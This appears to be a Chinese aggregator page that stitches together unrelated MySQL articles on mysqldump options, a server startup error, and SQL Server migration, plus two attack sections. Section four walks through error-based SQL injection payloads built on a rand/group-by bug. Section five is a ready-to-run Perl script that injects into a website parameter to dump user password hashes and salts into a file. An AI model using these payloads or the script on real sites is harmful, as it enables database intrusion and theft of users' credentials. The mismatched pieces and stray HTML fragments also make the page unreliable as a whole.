61阅读

mysql数据库导入导出-MySQL数据导出和导入工具:mysqldump

发布时间:2017-09-03 所属栏目:脚本攻防

一 : MySQL数据导出和导入工具:mysqldump

导出要用到MySQL的mysqldump工具,基本用法是: 

shell>mysqldump[OPTIONS]database[tables] 

如果你不给定任何表,整个数据库将被导出。 

通过执行mysqldump--help,你能得到你mysqldump的版本支持的选项表。 

注意,如果你运行mysqldump没有--quick或--opt选项,mysqldump将在导出结果前装载整个结果集到内存中,如果你正在导出一个大的数据库,这将可能是一个问题。 

mysqldump支持下列选项: 

--add-locks
 

在每个表导出之前增加LOCKTABLES并且之后UNLOCKTABLE。(为了使得更快地插入到MySQL)。 

--add-drop-table
 

在每个create语句之前增加一个droptable。 

--allow-keywords 

允许创建是关键词的列名字。这由表名前缀于每个列名做到。 

-c,--complete-insert 

使用完整的insert语句(用列名字)。 

-C,--compress
 

如果客户和服务器均支持压缩,压缩两者间所有的信息。 

--delayed
 

用INSERTDELAYED命令插入行。 

-e,--extended-insert 

使用全新多行INSERT语法。(给出更紧缩并且更快的插入语句) 

-#,--debug[=option_string]
 

跟踪程序的使用(为了调试)。 

--help 

显示一条帮助消息并且退出。 

--fields-terminated-by=... 

--fields-enclosed-by=... 

--fields-optionally-enclosed-by=... 

--fields-escaped-by=... 

--fields-terminated-by=... 

这些选择与-T选择一起使用,并且有相应的LOADDATAINFILE子句相同的含义。 

LOADDATAINFILE语法。 

-F,--flush-logs
 

在开始导出前,洗掉在MySQL服务器中的日志文件。 

-f,--force,
 

即使我们在一个表导出期间得到一个SQL错误,继续。 

-h,--host=.. 

从命名的主机上的MySQL服务器导出数据。缺省主机是localhost。 

-l,--lock-tables. 

为开始导出锁定所有表。 

-t,--no-create-info 

不写入表创建信息(CREATETABLE语句) 

-d,--no-data 

不写入表的任何行信息。如果你只想得到一个表的结构的导出,这是很有用的! 

--opt 

同--quick--add-drop-table--add-locks--extended-insert--lock-tables。 

应该给你为读入一个MySQL服务器的尽可能最快的导出。 

-pyour_pass,--password[=your_pass] 

与服务器连接时使用的口令。如果你不指定“=your_pass”部分,mysqldump需要来自终端的口令。 

-Pport_num,--port=port_num 

与一台主机连接时使用的TCP/IP端口号。(这用于连接到localhost以外的主机,因为它使用Unix套接字。) 

-q,--quick 

不缓冲查询,直接导出至stdout;使用mysql_use_result()做它。 

-S/path/to/socket,--socket=/path/to/socket 

与localhost连接时(它是缺省主机)使用的套接字文件。 

-T,--tab=path-to-some-directory 

对于每个给定的表,创建一个table_name.sql文件,它包含SQLCREATE命令,和一个table_name.txt文件,它包含数据。注意:这只有在mysqldump运行在mysqld守护进程运行的同一台机器上的时候才工作。.txt文件的格式根据--fields-xxx和--lines--xxx选项来定。 

-v,--verbose 

与服务器连接时,MySQL使用的用户名。缺省值是你的Unix登录名。 

-Ovar=option,--set-variablevar=option设置一个变量的值。可能的变量被列在下面。 

-v,--verbose 

冗长模式。打印出程序所做的更多的信息。 

-V,--version 

打印版本信息并且退出。 

-w,--where='where-condition' 

只导出被选择了的记录;注意引号是强制的! 

"--where=user='jimf'""-wuserid>1""-wuserid<1" 

最常见的mysqldump使用可能制作整个数据库的一个备份: 

mysqldump--optdatabase>backup-file.sql 

但是它对用来自于一个数据库的信息充实另外一个MySQL数据库也是有用的: 

mysqldump--optdatabase|mysql--host=remote-host-Cdatabase 

由于mysqldump导出的是完整的SQL语句,所以用mysql客户程序很容易就能把数据导入了: 

shell>mysqladmincreatetarget_db_name 

shell>mysqltarget_db_name<backup-file.sql 

就是 

shell>mysql库名<文件名

二 : MySQL数据库出现The server quit without updating PID file.

LNMP1.0可以在Linux系统下快速搭建PHP环境,以前操作其它服务器也用过LNMP环境,重未出现过类似错误,现将解决过程记录一下。[www.61k.com]

一、服务器环境

操作系统:CentOS-6.4

服务器环境:集成环境LNMP1.0

二、步骤重现

1、安装LNMP1.0,具体操作方法见这里,安装成功;

2、因个人需求,现将MySQL数据库存放在/data/mysql/var,修改/etc/my.cnf的datadir=/data/mysql/var,别忘了将/var目录的权限设置为chown -R mysql.mysql /data/mysql; 

3、重启服务,/root/lnmp restart;

4、提示错误:Starting MySQL...The server quit without updating PID file [失败]/mysql/var/localhost.localdomain.pid).;

三、解决错误

1、根据提示可能是PID的错误,按照常规解决方法kill相关进程、清除selinux,问题仍然存在;

2、查看错误日志,/usr/local/mysql/var/localhost.localdomain.pid

140513 11:59:34 mysqld_safe Starting mysqld daemon with databases from /data/mysql/var /usr/local/mysql/bin/mysqld: Table 'mysql.plugin' doesn't exist 140513 11:59:34 [ERROR] Can't open the mysql.plugin table. Please run mysql_upgrade to create it. 140513 11:59:34 InnoDB: The InnoDB memory heap is disabled 140513 11:59:34 InnoDB: Mutexes and rw_locks use GCC atomic builtins 140513 11:59:34 InnoDB: Compressed tables use zlib 1.2.3 140513 11:59:34 InnoDB: Initializing buffer pool, size = 16.0M 140513 11:59:34 InnoDB: Completed initialization of buffer pool InnoDB: The first specified data file /data/mysql/var/ibdata1 did not exist: InnoDB: a new database to be created! 140513 11:59:34 InnoDB: Setting file /data/mysql/var/ibdata1 size to 10 MB InnoDB: Database physically writes the file full: wait... 140513 11:59:34 InnoDB: Log file /data/mysql/var/ib_logfile0 did not exist: new to be created InnoDB: Setting log file /data/mysql/var/ib_logfile0 size to 5 MB InnoDB: Database physically writes the file full: wait... 140513 11:59:34 InnoDB: Log file /data/mysql/var/ib_logfile1 did not exist: new to be created InnoDB: Setting log file /data/mysql/var/ib_logfile1 size to 5 MB InnoDB: Database physically writes the file full: wait... InnoDB: Doublewrite buffer not found: creating new InnoDB: Doublewrite buffer created InnoDB: 127 rollback segment(s) active. InnoDB: Creating foreign key constraint system tables InnoDB: Foreign key constraint system tables created 140513 11:59:35 InnoDB: Waiting for the background threads to start 140513 11:59:36 InnoDB: 1.1.8 started; log sequence number 0 140513 11:59:36 [Note] Server hostname (bind-address): '0.0.0.0'; port: 3306 140513 11:59:36 [Note] - '0.0.0.0' resolves to '0.0.0.0'; 140513 11:59:36 [Note] Server socket created on IP: '0.0.0.0'. 140513 11:59:36 [ERROR] Fatal error: Can't open and lock privilege tables: Table 'mysql.host' doesn't exist 140513 11:59:36 mysqld_safe mysqld from pid file /data/mysql/var/localhost.localdomain.pid ended

3、根据日志提示,可能是mysql.plugin数据表不存在,拷贝原数据库目录/usr/local/mysql/var/*到/data/mysql/var/,重启mysql服务/etc/init.d/mysql start,发现问题仍然存在;

4、返回数据库目录查看数据权限发现全是root.root,重新设置数据权限:chown mysql.mysql /data/mysql/,重启mysql服务/etc/init.d/mysql start,问题解决。

四、总结

在配置Linux环境出现错误再所难免,MySQL故障的错误日志不是很清晰,需要经验和对错误日志分析把控。那啥,数据一定要作好日常备份,发生数据灾难时也有可以恢复的源。

扩展:updating pid file / quit without saving / kill quit pid

三 : 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

公司的数据库要从sqlserver换到mysql,首先要选一台合适的服务器,给了一份用现在sqlserver中导出的全部数据,让我们用这些数据去测试。

刚开始我以为可以将sqlserver导出的.bak直接导入mysql,试了多次之后不行,参考了别的方法:.bk导入sqlserver,sqlserver导入mysql。

第一步,将.bak导入到sqlserver:

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

注意:这个地方选”还原数据库“而不是导入,而且这时不能建数据库。(www.61k.com]


sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql


目标数据库中输入要导入的数据库名,选择源设备,也就是.bak文件,确定就可以。如果表太多,会显示”查看对象资源管理全部信息“,这需要装个sp1,。<喎?http://www.2cto.com/kf/ware/vc/" target="_blank">vcD4KPHA+PGltZyBzcmM9"http://www.2cto.com/uploadfile/Collfiles/20150523/2015052309562965.png" alt="\">

数据导入sqlserver后就可以想办法导入mysql了,我试了两个工具,一个是SQLyog,一个是NativeSQL,这里都介绍一下。

SQLyog:

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

先建立一个数据库,右键选择导入外部数据。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

选择”开始新工作“ -> 下一步。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

选择 ”建立新的DSN“。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

继续下一步。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

这个地方选择 SQL Server 而不是mysql。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

单击浏览,选择保存路径,保存文件后缀为dsn。下一步 -> 完成。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

描述 随便写,由于我的sqlserver在本地,所以是localhost。下一步。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

类&#20284;于sqlserver管理器的登录。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

选择默认数据库。下一步 -> 完成

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

点击"测试数据源"看能不能连上。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

连接成功。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

返回到前面的界面了,这时再选择你刚才保存的那个dsn文件,下一步。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

填写mysql的相关信息。下一步。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

选择”从数据源拷贝表“,下一步。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

下一步一直下去就可以了,可以看看某个表的结构。

NativeSQL也就大同小异。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

选择导入向导。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

选择ODBC,下一步。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

选择for SQL Server,这个地方和SQLyog不同。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

之后就和SQLyog大同小异了。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

下一步一直点下去。

sqlyog 用SQLyog和NativeSQL将数据用sqlserver导入到mysql

四 : 网站MYSQL数据库高级爆错注入原分析

这里主要用了mysql的一个BUG :http://bugs.mysql.com/bug.php?id=8652
grouping on certain parts of the result from rand, causes a duplicate key error.

重现过程:

SQL Code复制内容到剪贴板

  1. use mysql;   
  2. create table r1 (a int); insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);   
  3. select left(rand(),3),a from r1 group by 1;   
  4. select left(rand(),3),a, count(*) from r1 group by 1;   
  5. select round(rand(1),1)  ,a, count(*) from r1 group by 1;  

于是便可以这样拿来爆错注入了。
 


select count(*),concat((select version()),left(rand(),3))x from inform<span style="line-height:1.5;">ation_schema.tables group by x;</span>

尝试拿来实战
 


select * from user where user='root' and (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x);

提示错误 选择的列应该为一个。那么。我们换一下



select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x));<span style="font-family:'sans serif', tahoma, verdana, helvetica;font-size:12px;line-height:1.5;"></span>


 


1248 (42000): Every derived table must have its own alias

提示多表查询要有别名 那好办
 


select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x)a);

或者
 


select * from user where user='root' and (select 1 from (select count(*),concat((select version()),left(rand(),3))x from information_schema.tables group by x) as lusiyu);

成功爆粗注入了.

作者: 小残 绳命不息 |折腾不止

五 : mysql注入导库脚本代码



#!/usr/bin/perl -w
#www.sh3llc0de.com
#转载须注明
#语法 自己改改
use strict;
use LWP::Simple;
use utf8;
$|++;
my $count = 1;
for ($count = 1; $count <= 600_000; $count++) {
print 'ID: ', $count, "n";
my $url = 'http://www.***.com/links.php?out=2 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x5e24,0x7c,password,0x3A,salt,0x245e) FROM `wowguru_db`.user LIMIT%20' . $count . ',1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1';
#print "$urln";
my $content = get($url);
while ($content =~ m|^$(.+?)$^|igs) {
open FILE, ">>", "password.txt" or die $!;
print "$1n";
print FILE "$1n";
close FILE;
}
}

本文标题:mysql数据库导入导出-MySQL数据导出和导入工具:mysqldump
本文地址: http://www.61k.com/1078818.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1